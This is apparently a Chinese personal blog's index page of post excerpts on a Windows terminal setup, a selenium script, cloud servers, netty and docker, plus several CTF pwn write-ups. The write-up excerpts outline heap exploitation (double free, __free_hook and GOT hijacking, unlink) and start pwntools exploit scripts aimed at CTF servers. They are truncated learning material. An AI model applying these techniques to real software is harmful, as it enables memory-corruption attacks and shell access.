搭建windows的pwn环境
每次写pwn题的时候都要去打开虚拟机,感觉非常的麻烦而且很不方便,然后我就发现了win10下的终端神器——windows terminal
在win10商店可以直接免费下载。
通常我们打开的cmd和powershell看起来都比较low而且命令比较少,对于玩惯了linux系统的pwn选手来说非常的不友好,使用起来非常难受,而terminal做到了powershell、cmd、ubuntu的集成,就是可以在terminal同时打开这三个东西而不发生冲突,而且堆terminal进行魔改,工欲善其事必先利其器,一个看起来特别酷而且方便的东西你肯定也很想去使用它。(关于terminal的美化我这里介绍的很少,达不到你的期望可以去百度)
可以看到这和原始的powershell相比炫酷吊炸天,而且win10自带的powshell版本比较老,功能也少,可以直接去下载比较新的powershell使用:https://github.com/PowerShell/PowerShell
(powershell支持大部分平台)
关于powershell的插件:
# 1. 安装 PSReadline 包,该 ...
buuctf刷题
heapcreator一道关于got表劫持的思路,存在off-by-one可以改写堆块大小
说一下关于0x8,0x8是\b,即退格键,也就是说\b可以消除输入在他前面的空格或者\t,如果是\t后面有空格,就消除空格,能输出一个\t,就是六个字符的宽度
#coding=utf-8from pwn import *from LibcSearcher import*context.log_level='debug'pe='./heapcreator'libc_23='./libc-2.23.so'libc_27='./libc-2.27.so'ip,port = 'node3.buuoj.cn',25568elf=ELF(pe)libc=ELF(libc_23)if args['REMOTE']: p = remote(ip,port)else: p = process(pe)def get_one(): #one_gadget if(arch == & ...
hgame2021-week1-pwn
没怎么做,就写了两题,另外两道没怎么看官方已经给出了writeup,不过第一周上的这些题感觉要把新手们劝退了。。。。。。。。。
whitegive签到题直接调试看以下寄存器情况就知道了
#coding=utf-8from pwn import *from LibcSearcher import*context.log_level='debug'pe='./whitegive'# libc_23='./libc-2.23.so'# libc_27='./libc-2.27.so'ip,port = '182.92.108.71',30210elf=ELF(pe)# libc=ELF(libc_23)if args['REMOTE']: p = remote(ip,port)else: p = process(pe)def get_one(): #one_gadget if(arch == '64'): if(vers ...
超实用更新博客脚本
平时一步一步的操作也太麻烦了,直接上脚本就完事了。适用于gitee和github
#!/usr/bin/python# -*- coding: utf-8 -*-import timeimport osimport sysfrom selenium import webdriverfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinaryfrom selenium.webdriver.common import alertfrom selenium.webdriver.common.action_chains import ActionChainsfrom selenium.webdriver.support import expected_conditions as ECfrom selenium.webdriver.support import waitfrom selenium.webdriver.support.wait import WebDriverWaitfrom selenium.webdriv ...
堆复习3-double—free
ciscn_2019_en_31、首先利用puts函数只要输入长度为8就能泄露出一个基地址
2、申请两个chunk,chunk1内容为/bin/sh
3、对chunk0进行double free并对__free_hook劫持,改为system
4、释放chunk1
比较基础,只用到了double free和free_hook劫持
exp:#coding=utf-8from pwn import *from LibcSearcher import*context.log_level='debug'pe='./ciscn_2019_en_3'libc_23='./libc-2.23.so'libc_27='./libc-2.27.so'ip,port = 'node3.buuoj.cn',27452elf=ELF(pe)libc=ELF(libc_27)if args['REMOTE']: p = remote(ip,port)else: p = proces ...
堆复习2-off-by-one加unlink
利用思路axb_2019_heap主要还是要熟悉unlink的利用,在最后我放上了how2heap的unlink学习及程序调试流程
首先利用格式化字符串泄露 libc 和程序基址。
运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
将system 地址写入 free_hook。
触发写入了 ‘/bin/sh’ 的块的删除,执行 system(‘/bin/sh’)。
exp:#coding=utf-8from pwn import *from LibcSearcher import*context.log_level='debug'pe='./axb_2019_heap'libc_23='./libc-2.23.so'libc_27='./libc-2.27.so'ip,port = 'node3.buuoj.cn',27128elf=ELF(pe)libc=ELF(libc_23)if args['REMOTE']: p ...
堆复习之off_by_one和unlink
buuctf——bamboobox(unlink)利用思路
伪造一个空闲 chunk。
通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。
覆盖 atoi 的 got 表为 system 函数地址。
给出参数 ‘sh’,调用 atoi 函数拿 shell。
exp:#coding=utf-8from pwn import *from LibcSearcher import*context.log_level='debug'if args['REMOTE']: r = remote('node3.buuoj.cn',25306) elf=ELF('./bamboobox') libc=ELF('/home/duxiansheng/pwn/libc/libc-2.23.so')else: r = process("./bamboobox") elf=E ...
腾讯云服务器初体验
在好奇心的趋势下,我花了27个大洋在腾讯云上买了三个月的学生机打算探索一番。关键是这几个月一直在学习关于服务器的东西,想来也有一部分关系吧。
首先吐槽一下我自己,关于云服务器,真的是一点都不懂,问啥啥不知道,配置全靠度娘。
先说一下配置:
1核的cpu
2GB的内存
1Mbps的带宽
50GB的云盘
尝试之后我只能说,这种配置玩玩搭个网站就行了,别整花的,带不动。。。。。
下面来说一下我暂时知道的能干些啥:
第一:搭个博客(当然搭网站也可以,只要访问量不大,不怕被攻击,可以尝试。)
最简单的就是利用docker+wordpress+mysql搭建个人博客,方便快捷简单,教程可以参考我已经写过的文章“硬件实训2-2”
第二:搭建个人云盘
其实只要用量不大,搭建个云盘还是可以的,最起码上传速度和下载速度比某度快吧。
我是利用docker+NextCloud搭建的,方法简单网上全是教程,这里就不啰嗦了。
暂时我也就玩出着这两个 ...
初探netty
关于nettynetty与我的境遇发生在给别人写课设之中!!!
听起来是不是很意外,那是一个夜黑风高的夜晚,外面下着大雨,皎洁的夜光照在我的脸上,此时一名joker正在看这篇博客……………(皮一下🤭)
netty官方源码(例子及用法说明一应俱全):https://netty.io/wiki/index.html
netty在github的源码地址:https://github.com/netty/netty
netty是我第一次关于服务器方面的应用开发的学习,虽然学校并没又这一门课,但是感觉还是蛮重要的而且很有趣就试着自学一下。
netty是什么netty是一个异步的,事件驱动的网络编程框架。
netty是一个基于NIO(非阻塞IO)开发的网络通信框架。既然说到了NIO就提一下BIO(阻塞IO)。
NIO,同步非阻塞IO,阻塞业务处理但不阻塞数据接收,适用于高并发且处理简单的场景,比如聊天软件。
BIO,同步阻塞IO,阻塞整个步骤,如果连接少,他的延迟是最低的,因为一个线程只处理一个连接,适用于少连接且延迟低的场景,比如说数据库连接。
两种I/O模型的对比:
可以清楚的看到 ...
硬件实训2-2
任务:利用docker搭建一个本地的cms
目的:熟悉docker的使用,学习基于容器的应用部署
引题 docker其实是一种虚拟化的技术,当前我们所了解的虚拟化可以分为主机虚拟化(熟知的vmware)和容器虚拟化(即docker),区别在于容器虚拟化的是操作系统而不是硬件,主机虚拟化是在物理机的基础上再搭建一个完整的主机系统。
用一句话来概括的话,主机级虚拟化就是通过各种各样的手段,把物理资源重新分配,然后抽象出一部分拿来做虚拟机的虚拟硬件,是对硬件的模拟;而容器虚拟化技术相当于把操作系统进行虚拟化,把物理的操作系统模拟为逻辑上的多个操作系统,不同的操作系统有自己的用户空间,实现了应用程序间的隔离。
两者的对比:
传统虚拟机技术是虚拟出一套硬件后,在其上运行一个完整操作系统,在该系统上再运行所需应用进程;而容器内的应用进程直接运行于宿主的内核,容器内没有自己的内核,而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便。
总结一下docker的优势:运行环境一致、更快的启动速度、隔离性、快速扩展、迁移方便、持续交付和部署、高内聚和低耦合。
docker基本概念I ...